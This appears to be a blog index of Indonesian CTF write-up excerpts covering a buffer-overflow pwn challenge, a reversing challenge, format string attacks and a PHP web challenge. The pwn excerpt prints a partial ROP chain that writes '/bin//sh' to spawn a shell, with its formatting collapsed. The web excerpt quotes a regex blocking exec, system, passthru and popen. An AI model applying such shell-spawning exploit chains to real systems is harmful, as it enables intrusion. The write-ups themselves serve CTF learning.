Cyber Jawara 2017 Final - echo (pwn 200)

Diberikan sebuah file elf binary 64 bit dengan nama echo Dengan proteksi sebagai berikut Berikut adalah hasil decompile menggunakan IDA pro Dari hasil decompile IDA pro dipastikan binary tersebut vulnerable terhadap Buffer Overflow karena menggunakan fungsi “gets()” yang tidak memfilter panjang inputan. Dengan asumsi bahwa ASLR pada mesin dalam keadaan ON dan binary tersebut di proteksi dengan NX bit yang tidak memungkinkan untuk eksekusi shellcode, sehingga teknik yang digunakan adalah ROP ( Return Oriented Programming).
Read more →

Cyber Jawara 2017 Final - echo (pwn 200)

fromstruct importpack

Padding goes herep ='A’*10008p +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .datap +=pack(’<Q’, 0x0000000000479ce6) # pop rax ; pop rdx ; pop rbx ; retp +=’/bin//sh’p +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb088) # @ .data + 8p +=pack(’<Q’, 0x000000000042695f) # xor rax, rax ; retp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x00000000004005d5) # pop rdi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .

Read more →

EasyCTF IV 2018 - Reversing

Liar Diberikan sebuah file binary 64-bit not stripped Hasil decompile fungsi main() int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@12 __int64 v4; // rdi@12 int n; // [sp+Ch] [bp-14h]@1 int i; // [sp+10h] [bp-10h]@1 int m; // [sp+14h] [bp-Ch]@1 __int64 v8; // [sp+18h] [bp-8h]@1 v8 = *MK_FP(FS, 40LL); __isoc99_scanf(&unk_A64, &n, envp); f[30] = 160LL; f[10] = 47LL; f[13] = 4LL; f[25] = 205LL; f[5] = 87LL; f[24] = 247LL; f[6] = 76LL; f[31] = 176LL; f[7] = 74LL; f[34] = 154LL; f[21] = 231LL; f[32] = 135LL; f[8] = 75LL; f[1] = 102LL; f[9] = 75LL; f[28] = 232LL; f[29] = 148LL; f[3] = 108LL; f[11] = 33LL; f[4] = 127LL; f[14] = 21LL; f[18] = 89LL; f[16] = 3LL; f[26] = 215LL; f[20] = 211LL; f[15] = 8LL; f[17] = 25LL; f[27] = 217LL; f[0] = 101LL; f[33] = 143LL; f[22] = 245LL; f[19] = 241LL; f[12] = 56LL; f[36] = 129LL; f[23] = 206LL; f[2] = 125LL; f[35] = 202LL; m = n ^ 0x58EB29; for ( i = 0; i <= 36; ++i ) g[i] = m * i ^ (unsigned __int64)f[i]; g[i] = 0; if ( g[0] == 101 && g[1] == 97 && g[2] == 115 && g[3] == 121 && g[4] == 99 && g[5] == 116 && g[6] == 102 ) printf("the flag is %s\n", g); result = 0; v4 = *MK_FP(FS, 40LL) ^ v8; return result; } Dimana pada potongan code berikut
Read more →

Format String Attack

Format String Attack Format String Attack adalah vulnerability yang memanfaatkan format specifiers yang dimana dapat dimanfaatkan untuk melakukan read/write pada memory. Fungsi printf family seperti (printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf) tergolong kedalam fungsi yang vulnerable Format String Attack. Format String Attack terjadi karena inputan user langsung di render oleh fungsi yang menggunakan prinsip Format Specifier (seperti printf family) sehingga nilai-nilai yang berada pada memory dapat diread/write.
Read more →

hxp CTF 2017 - cloud18 (web 150)

Diberikan sebuah website beserta source code nya. Tampilan awal web tersebut hanya terdapat form login dan register. fungsi web tersebut adalah online editor, fungsi editor sendiri akan muncul setelah user login. Berikut daftar file source code yang diberikan Snippet editor.phpif (preg_match("/exec|system|passthru|`|proc_open|popen/", strtolower($_POST["method"].$_POST["text"])) != 0) { exit("Do you really think you could pass something to the command line? Functions like this are often disabled! Maybe have a look at the source?"); } .
Read more →